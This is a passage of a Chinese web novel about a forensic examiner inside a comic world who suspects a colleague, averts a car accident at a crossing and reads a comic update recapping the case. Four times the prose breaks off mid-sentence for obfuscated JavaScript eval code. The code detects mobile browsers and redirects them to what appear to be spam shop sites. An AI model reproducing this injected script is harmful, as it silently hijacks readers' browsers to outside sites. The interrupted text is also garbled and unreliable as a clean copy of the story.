何其思跟着我的话思考,很快就接话,“不过从犯罪时间、犯罪手段或者犯罪动机而言,目前为止,林全没有犯罪时间和手段,也没有任何直接证据指明他有杀人动机。可是在鉴定中心提出需要第二次尸检时,他知道后反而很紧张,甚至采取了报复黎稚的行为,那明显就是做贼心虚。” 小庄煞有介事地附和道:“对的!何其思说得对!不管怎么说,这里面总有我们没注意到的地方。” 何其思沉思片刻,又提出了新的问题,“我们就一定能肯定「是林全推了黎稚」吗?” 我不由地下意识地看向“傅霖“的方向。 说林全把我推下站台的就是“傅霖”。 说能够提供间接证据的也是“傅霖”。 这人若是个贼喊捉贼的罪魁祸首,那也属于他的常规操作。然而,转念一想,这个念头闪过脑海不到两三秒,我便迅速推翻了。 之前,我就想过这个问题了。 因为这个谎言太容易拆穿了。 就算是篡改了视频证据,也肯定会留下痕迹。若真的如此,只是在招惹更多的嫌疑。 正当我在内心展开辩论的时候,“傅霖”似乎察觉到我的视线,冷静的眼神似乎看穿我内心的动摇,张口想说什么,又像是不值得浪费时间,于是他勾起一抹没有太明显温度的笑,就像是为了开口而有的嘴角弧度。 空气此刻有一片寂静,所有的目光都在等待他接下来的话。可就在这一刻,话题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14197061|149412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又突然转向了另一个方向。小庄突然插话,说道:“要是商河星在的话,这个问题应该就能迎刃而解了。” 这个名字就像是惊雷一样冷不丁从我们桌上炸开。 周围的空气有一瞬间凝固。而仅仅只是这一秒的沉默,对我来说,都像是世纪一样漫长。 何其思沉默了片刻,语气冷静,“确实,商河星掌握着Anubis所有监控视频的完整备份技术,可以利用高级数据恢复算法,即使是被删除超过24小时的视频,也能够通过深度数据挖掘和恢复手段找回来。” 可他还是忍不住说道:“不过他戒心太重了。即使是要离开,也不愿意把权限密钥分享给任何人。” 这话音刚落,所有人的目光齐齐落在他脸上。何其思显得有些紧张,连忙自我澄清说道:“我才没有觉得,留下前市长埃塞尔这个瞒着市民非法侵入他人隐私的监控系统是好事……我只是突然想到,就随意说一下。” 说到这里,他突然一愣,声音急促道:“这该不会就是商河星消失的原因吧?前市长旧部把他给抓起来了。那这是就严重了!” 下一个接话的人是“傅霖”。 他声音低沉,却又平静,“「商河星失联」这件事已经交给警察去调查了,希望能尽快有结果。” 这一瞬间,我的脑海中掠过一个念头:这个商河星究竟到底是希望自己能被找到,还是彻底消失,不再妨碍他呢? 正在我沉思的时候,“傅霖”的话打破我们的思绪:“我们还是先专心吃饭。” 听着烤架上开始冒出“滋啦滋啦”的声响,我下意识地打算把烤架上的烤串翻一下。 然而,就在这个时候,后知后觉带着一阵冰冷的寒意就像是小蛇一样攀到我的指尖,迅速吞噬了我整个手臂。它吐着危险的蛇信子,刺激着我的神经末梢,让我的额角“突突突”直跳,手臂也跟石头一样僵硬绷紧。 家人们,你们想一下。 已知“傅霖”是商河星。 已知商河星有Anubis启动所有监控设备,观测整个城市动态的密钥。 已知我们学校的监控摄像头也亮了起来。 这就意味着,“傅霖”已经开始动用了自己的权限来博取自己的优势,并且他也许在来之前,就知道这起暗藏乾坤的车祸案的凶手到底是谁。 那么,他依旧会要求我跟着参与这件明知道结果的案子是为了什么呢?他有兴趣,有时间玩这种已知道答案的推理游戏吗? 他是那种人吗? 在脑海里面,我可以想起他眼中不动声色的寒冷,却没有得到一个具体的答案。可是,我已经想起《消失的13级台阶》中经典的一幕—— 「在那沉闷的背景环境里,为了掩盖某个人是真正的处刑者,执行者们会同时拉下处决的操纵杆。」 我怕不是正在和死神玩猫鼠游戏吧? 15. Episode 15 Episode15此地无银三百两 在结束晚餐的时候,天空就开始下雨。 安静的雨水混在夜色里面几乎看不见,只能借助一些晦暗的灯光或者地上的水洼的涟漪才能判断出下雨的痕迹。 “傅霖”和何其思两人都没有带伞。 Anubis地区混杂了很多现实地区的人种和行为习惯。全市共计21区,这里面有些地区会明显分出不同的种族,像是现世里面会提到的华人区、希腊区或者土耳其居民聚居地。不过大环境下,还是比较多元的文化背景。 比如说,下雨天不撑伞便是很典型的欧美人的习惯。 在Anubis,我们也经常看到很多人在下雨天的时候,就会跟着戴起棒球帽或者有拉起帽衫来挡雨。尤其是年轻人更爱如此,也许算是某种时尚潮流,或者是某些电视剧名场面总有主角不撑伞在路上走来塑造冷酷或者自由的形象。 而我非常喜欢下雨打伞。 那个伞最好能够把我整个罩住,既不让我淋到一点雨水,也可以挡住别人的视线,这样非常有安全感。 虽然有人说下雨天,伞会变成人的延伸,在人群中走动会变得非常不方便,但是这种不方便说到底也是因人而异。 我走在后面撑起伞的时候,看到前面两个没有伞的人,还是很客套地说了一句,“需不需要帮忙打伞?” 其实,我真的想要帮他们打伞,就不会等到他们淋湿了才开口。 我知道,自己早晚会为这种虚伪的客套付出代价。 这话刚说完,“傅霖”看了一下我打开的伞,朝着我的方向走了过来,“麻烦了。” 我内心有一只土拨鼠在爆鸣。 你都淋湿了,还要撑什么伞!? 我有些无奈地撑着伞也跟着靠近“傅霖”,与此同时,把何其思也招进伞下,说道:“何其思,你要不要也进来?我的雨伞可以容纳四个人。” 因为我这个突然的决定,何其思没有反应过来,但是我不给他潇洒拒绝的时机。我十分干脆地上手要去拉他,把他往我们中间的位置塞。 三个成年人都在一个伞下也没不会显得非常拥挤,这就是大伞的魅力。不过站在两侧的人多少有些就被淋到了,这也不是大问题。 雨伞就由中间的人拿。 “平常黎稚都不会跟着来查案的。”何其思接过我的伞柄,忍不住好奇道。 我为什么不跟着过去呢? 因为,我不想。 不同法医有自己做事的喜好偏向。 有些人就是为了谋口饭吃;有些人是家学渊源;有些人是因为想要学侦探断案;有些人是践行「为生者权,替死者言」的崇高正义;也有人就像是我只是做了这个行业,就恪守规则。 他们带我查案是不符合规章制度的。我也不是负责现场勘察的法医。自己跟着他们擅自干涉法医判断的话,这也是对其他同事的不尊重。除非对方真的犯了很大的错误,又或者来分享想法和征询建议,否则我一般是不会随便开口的。 再来,带我的詹主任之前就教我「法医不问案情」——只践行自己的职责,只专注在自己的领域里面,不要受案情影响,才能提供客观准确的答案。 了解案情中犯罪者多么可恶,先前做了多少恶事;或者犯罪者本身其实是可怜的被害者,这对于我来说,又多了一种毫无意义的道德伦理枷锁。有些人就很容易成为正义使者,要用自己的方法去制裁罪犯,而且容易造成程序错误。 人们之所以要设立那么多部门,就是有设这些职能分明的理由和意义所在。 而这个意义的底色是公平。 …… 何其思问这话的时候,我又不能很直白地说,因为商河星来我家,把我爸我妈也卷进这个案子里面(虽然是因为我爸妈确实担心我遇害)。可,我担心商河星会为了引我出门,刻意找上我爸我妈,置他们于危险的境地。 我才主动说我要跟着出门调查,把这个风险降到最低。 “毕竟见面的时间不多了。” 我希望他早点把对我的戒心扔下来,从此他走他的的阳光道,我走我的独木桥。 何其思也忍不住感慨道,“你和傅霖的感情真好,真羡慕。” 我因为他这句话也忍不住感慨。 但凡他能读到我或者“傅霖”之前想要刀对方的心声,他就不会这么天真地说这种话。 何其思继续叹息,“我要是哪天离开Anubis的话,也有机会得到这样的待遇吗?” …… 请问,羡慕的点在哪里? 我目前除了在商场随便花了100多A币买了一份礼物之外,都没有表现得对这个人有多好,不是吗? 我忍不住为何其思奇怪的发问感到好奇,“你最近是遇到什么不开心的事情吗?” 突然变得那么缺爱缺关心。 我想了一下,从口袋里面再拿出一块奶糖。 大概是从小学的时候,我就发现抽卡的卡牌变成来的零食能够提升人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14210113|149412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心情值,也能够提高相应的注意力。 我原本想过,这可能是因为零食本身会刺激产生多巴胺这类的快乐因子。米国科学家也说过,吃零食可以提高注意力。不过,普通的零食是有限制因素的。有相关的论文表示,人处在压力或愤怒的心理状态下,吃零食也可能不会起任何调节心情的作用。 不是有这么一句话吗? 「难过的时候,连糖果都是苦的。」 可是,我的零食依旧会有起作用,会奇妙地让人状态好起来一段时间,对压力有抗性,并且他们在各方面的表现都出现了肉眼可见的进步。可惜,那时候样本数据比较少,还要思考对照组和各种环境因素,要达到非常精确的结果是比较难的。 我曾经也有猜想,是不是因为每次他们跟我在一起吃零食的时候都会感觉到很轻松愉快,所以他们形成一种思维或者心理定式——「和黎稚在一起心情会变好,甚至变得更优秀」,所以我在他们当中会受欢迎。 “如果是因为开始入职产生压力,可以来找我,我可以给你分零食。” 何其思当即眼神更亮了一些,开心了起来,“真的吗?” 我和何其思正聊着,“傅霖”的声音忽然插进来,说道:“何其思,你的伞可以拿正一点。” 我下意识地跟着转过头,看到“傅霖”半个头都在伞外,淋得头发已经开始挂水珠了。而何其思还颇为理直气壮地偏心,“傅霖,你都淋湿了,再淋点雨又没有关系。” 哈哈! 恶人有恶报! 我忍不住在心里暗自点赞。 “傅霖”陷入无语,“……” 我正饶有兴致地想着傅霖和何其思又会有什么小插曲。这个时候,何其思又心直口快地嘟囔道:“话说,我觉得傅霖这几天都怪怪的,跟以前不太一样……” 我内心一惊。 我捞我自己都很累了,不要再多一个人了啦! “哪里不一样?”我赶紧见缝插针地帮忙打补丁,“我觉得,傅霖跟之前一样的。” 这话刚落完,我余光就瞥见“傅霖”正在用一种难以形容的表情,若有所思地望着我。 有没有人来告诉我,我这句话不是在此地无银三百两…… 就在这时,一个冷意攀上了我的后背——我忽然意识到自己正站在那个漫画里出事的十字路口旁边。周围人潮涌动,拥挤的大伞遮住了我的视线,让我看不清其他人的表情和动作。 而前方的红灯静止不动,正凝滞着死亡的光芒。 16. Episode 16 Episode16漫画更新了 人行道红灯亮着,时间维持在60-90秒之间。 这段时间,足够让我把漫画预告的每一幕在我脑海里重播一遍。 车祸案件发生的地点在街道口,也正好是现在的路口。 我记得这里有个非常明显的坐标点——一棵至少有三十岁的大榕树。人行道的砖块也因为树根的浮起而被撑裂了。有些被父母牵着手的孩子现在正低着头,脚踩在树根上,像在登上一个小小的舞台,格外兴奋,完全不知道什么时候这里会发生一场噩耗。 不过,四五岁的年纪对这个世界才刚刚有所开悟,连死是什么都不知道。 从得到预告之后,我并没有只是逃避,一味地消极应对。 因为其实这件事解决起来并没有想象中那么难。 要知道,如果这是现实世界的话,那么,偶然、巧合和意外总会把人打得措手不及。可是,漫画世界总是讲究因果律,即在既定的系统之中,而所有条件已知,那么其结果也完全能够被精准地被预测。 这就是为什么那么多人穿越小说或者漫画的时候,只要知道一个点就可以改变命运。其原理核心就是因果律——有因才有果。 当然,一定会有人说,也有完全无法改变命运的反套路操作,如蝴蝶效应,世界线收束等。 可是,这部分的操作是第四视角里由观众读者都不可得知的,即这方面对于他们来说是未知的,由他们的期待和作者的笔调来选择到底是遵循哪种原则。而我作为一个NPC,对他们来说,我是天然无法改变自己命运的纸片人。 他们想不到的是,我拥有自主意识,这就是我的天然优势。 也就是说,我人为地改变自己的人设,即我把脖子的玉坠收进抽屉里面,不戴着出门,就意味着这个漫画里面那个出事的人并不是我。同样的,我也不会受到作者意识的操控或摆布,或者突然自己又被迫戴回那条可能带来噩运的玉坠。 只要想清楚这一点,这破局并不难。 可是这样真的就破局了,那就意味着漫画主角有着天然强势的运势。 如果商河星真的就是主角,我正面硬抗毫无优势。这可以参考某笔记,那位作为人类正派的代表侦探结局是以死亡得到了最后的真相。在漫画剧情尚不明朗的情况下,与他表面保持平和并没有坏处。 我的目标就是和去年一样,继续做一个毫无存在感的边缘人物即可。 这时,红灯摇晃了一下光芒,很明显这是一个信号。 绿灯转红灯过程中还有个黄灯来做缓冲,但是红灯转绿灯却没有延迟的时间。绿灯亮起来起来的瞬间,会有一声声清脆的布谷鸟鸣叫。这是电线杆顶端的红绿信号灯旁,还特别还装了附音响装置信号机,为了方便盲人根据声音过马路。 于此时此刻,布谷鸟叫声在这样的雨夜里面显得格外深邃空灵,就像是从其他世界传来的一样。 老实说,车辆的红灯和行人绿灯之间有约五秒的时间差。也就是说,车辆先停五秒左右,行人才会得到通行信号。所以,像电视剧里那样,行人第一个过马路时,遭遇有车抢道的情况,在现实中其实很少见。 一般来说,这种事件通常都会设置在深夜,前后都没有其他车,会有一些无良的车主闯红灯。 不过,漫画设置的这个地方有点妙。 我们过马路的之前,还有一个距离不到1.5米的路岛。 我们等先上路岛,然后再过一次马路。 而路岛这块没有设置限制车辆左行的红绿灯,即这部分的车辆如果不愿意让路(通常是不可能的),就会发生与路人抢道的情况。 绿灯更亮起来,我们三人中的“傅霖”反应能力最快,他率先走了第一步。 当时我还没有特别的感觉,只是能觉得周围时间的流速比想象中慢了一些。 意识时间与现实时间并不一致,这是很常见的情况。比如说有些人会觉得在思考的时候,时间会过得飞快,有些人在痛苦的时候,会觉得度秒如年。 我只看到商河星的脚步先跨上人行道。 还没有等其他人也跟着走向路岛,我突然觉得我背后有两束车灯照了过来。这种感觉就像是我翻看漫画,眼前闪过这么一幕。我下意识地喊了一句,“傅霖。” 不妙的感觉让我想着他可以慢点走。 可是,商河星对「傅霖」这个名字还没有敏感到能立刻有所反应。明明旁边的何其思也因为我这句话转头,疑惑地看向了商河星的方向,想知道我为什么要突然喊住商河星。 就在下一秒,走在最前面的商河星脚下一滑,中心失控,整个人就像是被什么推了一把,踉跄着扑向路中心的位置。与此同时,两束强烈的白光猛然逼近,伴随着车轮摩擦地面发出刺耳的尖啸声,像是刀刃刺破空气,狠狠地切进耳膜。而心脏则被这急促且失控的强音打击,刺激得让人目眩头晕。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14223437|149412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一瞬间,大脑几乎空白,身体抢在理智之前行动了。 我的身体已经抢在理智之前反应,猛地冲了出去,一把抓住商河星的后心,将他拉了回来。手指的力道像铁钳般死死嵌住他。 那辆失控的白车堪堪停在我们脚边,还只差一步,车子的轮胎就会从我们的脚掌上碾了过去。 它的前车灯闪烁着冷冽的光,就像在心有余悸地喘息着。 路边的行人一片死寂,几乎被这惊险的一幕冻结在原地。直到布谷鸟的鸣声戛然而止,众人如梦方醒,紧绷的空气才如潮水般散去。人群或是低声惊呼或是连连后退几步,像在为劫后余生的剧烈心跳找出口。 晚上我回去的时候,仍觉得这件事徘徊在我的脑海里面久久不能停息。这就好像,今天险些被车子撞到的是我一样。 而这一整天就只发生这件大事,让我如何都无法安心。 在好不容易终于劝服自己遗忘掉那种惊险的感觉,要准备入睡时,我的手机突然动了一下。 我翻身起来检查是什么讯息,意外地发现是商河星发的短信。 「今天谢谢你救了我」 几个字言简意赅,甚至都没有一个标点符号,显得轻描淡写,不像是傅霖的风格,倒像是商河星他自己。 事实上,他当时就谢过一次了,我并没有放在心上。在那种公众场合,“傅霖”就是会说谢谢的。可是,这一次的短信道谢让我觉得出乎意料。 对我来说,可以说是一种奇特的感觉。 因为商河星本人是不轻易言谢的。这让我觉得,自己像是在被厚厚的窗帘遮挡住的窗口处,窥见了商河星一丝不让人轻易察觉的内心的世界。 我莫名嘴角弯了弯,既觉得心安又开始放松。 「不客气的。」 「你没事就好!」 「早点休息。」 我连发三条短信。 发完之后,商河星也回了一句「晚安」。 这让我的原本的焦躁彻底消失。把手机重新放在充电处后,我几乎一沾上枕头就睡着了,一直睡到了第二天天亮。 我通常会比「正常早起」要再早十五或三十分钟。 因为我可以有时间刷一下手机。 这次,我刚按亮手机,打算先读时间,顺便思考我能赖多久床时,一条「漫画更新」的提示通知就跳了出来。 我一瞬间就愣住了。 这是什么情况? 17. Episode 17 Episode17我已经看不懂了 现在是周六早上05:35。 往常看到这个时间点,我肯定要再睡个半个小时,然后磨蹭到6点半左右,拿起手机刷一会儿,直到7点多就正式起床。 然而,今天却不同。 漫画更新的消息,让我睡意全无,心跳声也跟着莫名加快。 这让我回忆起每一次看考试成绩结果时,都会有的心惊肉跳。 因为如果名次下滑的话,社恐的我会被包围,会被安慰,甚至连老师都会来问我最近状态怎么回事,需不需要帮忙。这种情况要一直维持到下次考试结果出来为止。我安静美好的独处时间都被占用了。 有人也许会说,只要进行沟通,了解彼此的想法,就可以避免我说的这种情况发生。更别说,周围的人都是抱着好意,肯定愿意倾听我的想法的。 可是你们想想,如果沟通真的有用的话,那还需要警察做什么? 大家坐下来好好聊,开诚布公就好了。 话回到正题来。 我之所以会紧张,是因为我认为,这个更新的时间点来得太快了。 我才感觉事情刚开始,现在突然就结束第一个案件,那简直是痴人说梦。漫画结尾很有可能写的是「XX事件未完待续」。 可是人总是有侥幸心理的。我内心又想的是,这个案子说起来又不难。昨天晚上就结束,难道不可以吗?当然可以了。 我很想早点摆脱现在的局面,跟商河星桥归桥,路归路,从此互不相干。 就算他对我有友好的意向,我会高兴的原因,也只是我的生存概率提高而已。 不管怎么说,现在迎来揭晓此刻局面进度的答案,不说紧张是不可能的。 我打开抽卡软件,点开漫画通知—— 漫画页码加载的时间段要比想象中长。在漫画顶端就有一条显示页码的数字栏。我就像是在电梯间等待似的,忍不住盯着跳动的数字。 最后,数字定在了「56」页。 封面上,是「傅霖」的全身像,头肩比例出色,就像是精挑细选出来的顶级模特,线条流畅而挺拔。可与众人熟知的亲切好相处的表情不同,此刻的他目光锋锐,正对着读者,就像是像是一把充满敌意的刀子对准了直视他的人。 明明是正派的长相,只是小小的神情变化就带来一种令人望而生畏,不近人情的冷峻与疏离。可漫画的读者们对这种与众不同的锋芒趋之若鹜,似乎很喜欢这种性格。 【第一!】 【封面太可了~】 【来惹】 【有没有看完结局的读者分享第一波感受】 【漫画开局果然是剧情大放送,看看这剧情量!】 【好不好看?】 【快跑,这部漫画看起来就是全员恶人,简直帅到腿软——我已经离不开了(兴奋.jpg)】 【剧情不知道好不好看,但是看漫画质量只要不崩,我就继续看下去。反正现在也没有什么好看的了】 【二刷来了】 【重新回来看,发现封面居然还不是“傅霖”最好看的一幕】 【全员恶人,还能不能过审啊喂】 【“全员恶人”设定好有意思】 弹幕反复的字眼让我忍不住想要退出页面,重新去研究他们的漫画世界和我现在的世界是不是不一样。 当然,这只是一时的吐槽而已。 要知道弹幕总是喜欢用情绪化的语句或夸张的词汇来吸引别人注意,所以才会有一些弹幕或者评论区比正文还要精彩的情况。 压下被激起来的思绪,我的视线跟着下移—— 动态漫画是自动播放的。 迎面是三月的月夜。 3月下旬的夜晚并不是下弦月,而是接近满月的盈凸月,月亮的亮度达到98.85%。 在漫画镜头里面,月亮的光辉几乎填满了整个天空。 然而,即使月光如此明耀,春季带来的雨潮气息也给这个月夜带来变化。云层因为湿润的空气而凝结,逐渐变得厚重深沉,随风而动,时而掩盖月光,时而揭开明月。明灭不定的月光也让往常平整的人行道看起来就像是曲折崎岖的山路,时深时浅。 就在远处,一辆自行车缓缓驶来。这车子上挂着橙色的小灯。微弱的的光点在漆黑的夜色中栓说。车主的身影是年轻人的轮廓,修长而轻盈。随着骑行的动作,年轻人脖间的玉坠随着身体的晃动轻轻摇摆,发出微弱的光泽,宛如从夜色中落下的一颗小星。 随着自行车的逐渐靠近,那种天真、轻快而愉悦的气息从每一个动作透了出来。 【没看到脸,都觉得这个小哥扑面而来的帅气】 【等等,你们看,这个人也带着玉坠,会不会就是那个预告里面遇到车祸的人啊?这吃便当的速度也太快了吧?】 【不会吧?不过感觉这人很好骗的样子?】 我只是盯着画面陷入了某种沉思。 …我那天因为傅霖和商河星的离开,高兴得这么明显吗? 回到漫画中。 那车灯细长而有力的光芒在黑夜中拉长,就像一条不断延伸着的,且不规则地从心室出发的主动脉,正在给四周的黑暗的带来源源不断的能量。与此同时,在另一个寂静的场景中,阴影里抱着女人的男人因为突然而至的车轮碾过砂石的声音,瞬间紧绷着神经。 他的指尖发麻,动作也跟着慌乱起来。那耳边传来远方渐近的轻快声,在他耳朵听来就是催命符。他的身体不可克制地微微颤动,眼神急促地扫过无人的周围,下意识地转过身,不让任何人看到他的表情。 然而,漫画的观众们却看得一清二楚。 在黑暗的笼罩下,他的脸被彻底吞噬,就像是融入了夜的深处,只剩下两只眼白逐渐变大的眼睛,瞳仁越来越细,就像是遇到天敌的动物,会在紧绷的恐怖中逐渐睁大双眼,大得就像是眼珠几乎要从眼眶中挤出来一样。 那眼里写满无尽的惊恐。而那恐惧背后却隐藏着一股淬毒般的杀意,冷冽而不加掩饰。 【额……】 【QAQ干嘛突然吓人】 【现实真的有人会这种表情吗?】 【人在极度恐惧或者强烈情绪反应下,人类的瞳孔也会跟着扩张。如果不是漫画夸大了这种反应,就是漫画镜头发生变化,你们看那是仰角视角,视角扭曲,又加上镜头集中在眼睛上,就会有这种表现。】 “需要帮忙吗?” 男人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14233788|149412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身后响起一道清越的声音。 他一动不动,身后那个骑着单车的年轻人也跟着静默了一会儿,“我帮你叫救护车吧?还是……警车?” 前者毋庸置疑是存活的提示词。 后者直接便是刑事案件。 「他在暗示什么?」 「暗示我杀了周秋莹吗?」 男人的念头浮了上来。 【不是吗?】 【难道不是吗?我以为就是啊。】 【是吧?】 黑发青年那句一针见血,又意味深长的话让男人的心猛地一紧。 他的余光不自觉地扫向身后。逆光中,青年被阴影吞噬,只剩下一双幽火般的眼瞳,如同能够穿透黑暗,洞察他内心的每一个细微变化,包括他所有的恐惧和隐秘。 男人的脊背没来由地感到有一阵寒意袭来,浑身不由自主地颤抖了几下。他紧紧抱着怀中的女人,心跳急促,却强迫自己镇定下来,咬紧牙关,努力掩饰内心的慌乱。即便是此刻,他仍清楚知道,自己必须做的事情只有一个。 他深吸一口气,声音高亢而带着颤抖:“请帮我叫救护车!” 顿了顿,男人开始为自己争取更多的时间。声音再次被拔高,他几乎是在拼命地喊:“我的妻子……她还没有死!!!请帮帮我!!!” 他直接回过头,已然挂上泪水的眼睛直勾勾地盯着青年,“快帮我……” “秋莹!坚持住!!” 这些喊声撕裂了寂静的夜,回荡在空旷的道路旁,也带着绝望与求生的挣扎。他像是在大惊大悲之下,终于察觉到自己的妻子还有救一般对外呼救。 可是,只有男人自己心里清楚,他只是演给身后的青年看而已。他不过是想通过这些话证明「妻子不是他杀的」。 要知道,他怀中的女人还有呼吸。而身后的那个青年是自己不可能杀人的目击证人。 这就是他的完美犯罪已经成型了。 【哇,厉害!完美犯罪,有没有大佬亲临来解释一下啊?死者未死,也有第三方在场不会见到他动手,那他是怎么实现谋杀呢?】 【下毒!?】 【下毒也太明显了吧……而且看漫画镜头,他们正在大马路上,女人身上还有伤,说不定是遇到了车祸了。不过,如果是车祸致死的话,这会查不出来?那人应该没有时间清洗痕迹吧?】 【感觉这个案件好复杂,真想快点知道结局】 此刻,一场风吹过,拂开了再次遮蔽明月的云。光清晰地描摹着黑发青年冷静的眉眼。旁白也给了这位青年一个方框介绍,上面写着『黎稚,Anubis最高学院法医专业首席,20岁』。 而他微微皱了皱眉,浮起一句淡淡的心声,“…好吵。” 【!】 【抱歉,我突然笑了ww】 【二刷的我现在才发现黎稚就在这里知道了凶手的计划了,太牛了。】 【已经三刷的我,只想说“不愧是他!”我都在想,这个登场其实是不是他自己的设计,那真的太精彩了!】 屏幕外的我浮出一个巨大的问号,“啊?” 我翻了翻漫画进度。 现在剧情才到5%,可我自己已经看不懂剧情和我自己了。 18. Episode 18 Episode18他意有所指 【车祸案在这一话里面有结束吗?没有的话,我就先攒一攒。】 【完结了,安心看!】 进度在5%的时候,我看到弹幕里面中闪过了两句对话,原本紧绷的心情也跟着松弛了下来。一开始,我打算只是简单看一下开头一两页,然后立刻拉进度条,跳到结尾。 现在能确定案件结束,预告内容已经和我无关了,我也能松口气,先安心地慢慢看,可以不急着跳到结尾。 或许,我还可以吃点零食。 漫画的进展自然不会受到弹幕的影响。 年轻人在发现车祸并揭开第一案的前情后,这段情节的最后镜头定格在警车和救护车灯光交错的画面。随后的镜头切换镜头到「傅霖」的画面,正式承接整个故事的发展。 这部分的内容比预告多了一些细节,有包括「傅霖」第一天在适应新环境过程中的反应,以及在第一天的时候,他就去「商河星」所在的住处。 不得不佩服这个人的勇气和胆量——明明刚背刺了对方,却为了换回自己的身体,还能毫不犹豫地上门去找受害者。 不过,他的举动也激起了我的好奇心。 毕竟,他最近在和我打太极。 自从那次被人推了一把,我已经深刻地意识到我“脆皮”的本质,也不想再被那么复杂的事情拖进更麻烦的处境。所以,我对「傅霖」的情况也不再继续抱有探究欲。可是,现在能零成本地获得答案,那我当然会好奇:商河星是否已经找到了真正的傅霖?还是至今毫无头绪,正在走一步看一步? 如果可以的话,其实我也想弄清楚其他信息。 我们都知道,在主神空间里面,商河星为了获胜选择「背刺傅霖」。那么,作为胜利者,商河星为什么没有得到自己应有的奖励? 为什么会发生身体互换? 商河星本身到底是要实现什么样的愿望呢? 此外,眼下「他们身体互换」的变故,到底是谁造成的?是所谓的主神?还是傅霖?又或者是,许下的愿望其实是被用非常扭曲的方式兑现,就像某个ACG里“被污染的圣杯”的设定。 这里解释一下那个「被污染的圣杯」。 打个比方,像是「想要永不分离的家人,且一直都会有好吃的」这样的愿望——被污染的圣杯也许会让许愿者的身体变成甜点,这样可以一辈子吃自己。而被甜味引来的各种虫子,如蚂蚁、蝴蝶、飞蛾、果蝇、金花虫等会在他/她身上筑巢,你永远都摆脱不了它们。 又或者是,许愿想再长高一点,然后兑现时,许愿者高了0.01米。 简单讲,实现愿望的方式就是主打一个「叫人破防」。 不过,虽然我抱着那么多的疑惑,但是漫画对这些内容一个都不讲,像是要把整个悬念贯彻到底,直到触动主线才会解开一样。 老实说,我是那种好奇心不旺盛的人。 它碰到这种人就是踢到铁板了。如果我的好奇心没有及时被满足,我就会完全忘记这件事。如果这漫画就是靠这个疑点来贯穿整个故事剧情的话,那它绝对会失去我这个读者。 没有得到满足的我很快就跟着剧情,把注意力放在了“傅霖”身上。 我一边趴在枕头上,一边研究“傅霖”在「商河星秘密住处」观察周围的动作。 之前我没有太留意这个人,现在这么一看这人谨慎又洁癖,还有很多类似强迫症的小习惯,比如说门口的口罩有自己的排列方式,每天的生活习惯都是按照固定的顺序完成。所以,如果有个外人打乱他的生活方式,商河星本人就会立刻发现不对劲。 此外,这人真的深爱黑颜色,满衣柜都是黑衣服。 仔细想想,最近“傅霖”穿的衣服确实也是越来越深。 就在这时,我注意到“傅霖”利用自己的权限连通了整个城市的监控摄像头,这和我之前回学校实验室翻出小狗尸体时的摄像头的事情呼应了。原来早在我确认小狗伤势的时候,监控早就开了。 然而这不是重点,重点是我看到了“傅霖”输入的密码了,非常完整。 我专门数了数,这个密码居然长达31个数值。 要不要背? 这样以后我也可以偷偷摸摸地用Anubis全市的监控了。 我脑袋里面刚冒出这个想法,弹幕就成功阻止了我。 【好熟悉的数值模式。这是用了md5这个哈希算法对原来的密码进行保存加密吧?这样就算哈希值被盗,黑客也不能还原出密码来。不愧是商河星。】 【哇!听起来好厉害,其他人想记也没有用。】 我:“……” 【那倒不是绝对没有办法的。可以用彩虹表(Rainbowtable)来破解,可以通过预先计算的弱密码哈希值映射表,就可以破解用户的密码。】 我顿时精神起来,下了床摸电脑,打算搜彩虹表是什么东西,结果弹幕又回应了一大段。 【彩虹表是针对弱密码吧?像是密码为1234,以及很多店家喜欢用的666888,这种随便一试就可以撬开了简易网络密码的。商河星肯定不会用那么简单的。而且,既然商河星还是黑客身份,那肯定有「加盐(salted)」。用原密码加上“盐”,即随机字符串,合并后实现动态哈希值,提高保密性。】 “……” 我果然不适合黑客的世界。 这个地板有点冷,容我先爬回温暖的被窝里。 这个漫画就不能让我平白躺赢嘛,又或者可以干脆给我一个马赛克也行,浪费我十几秒时间。 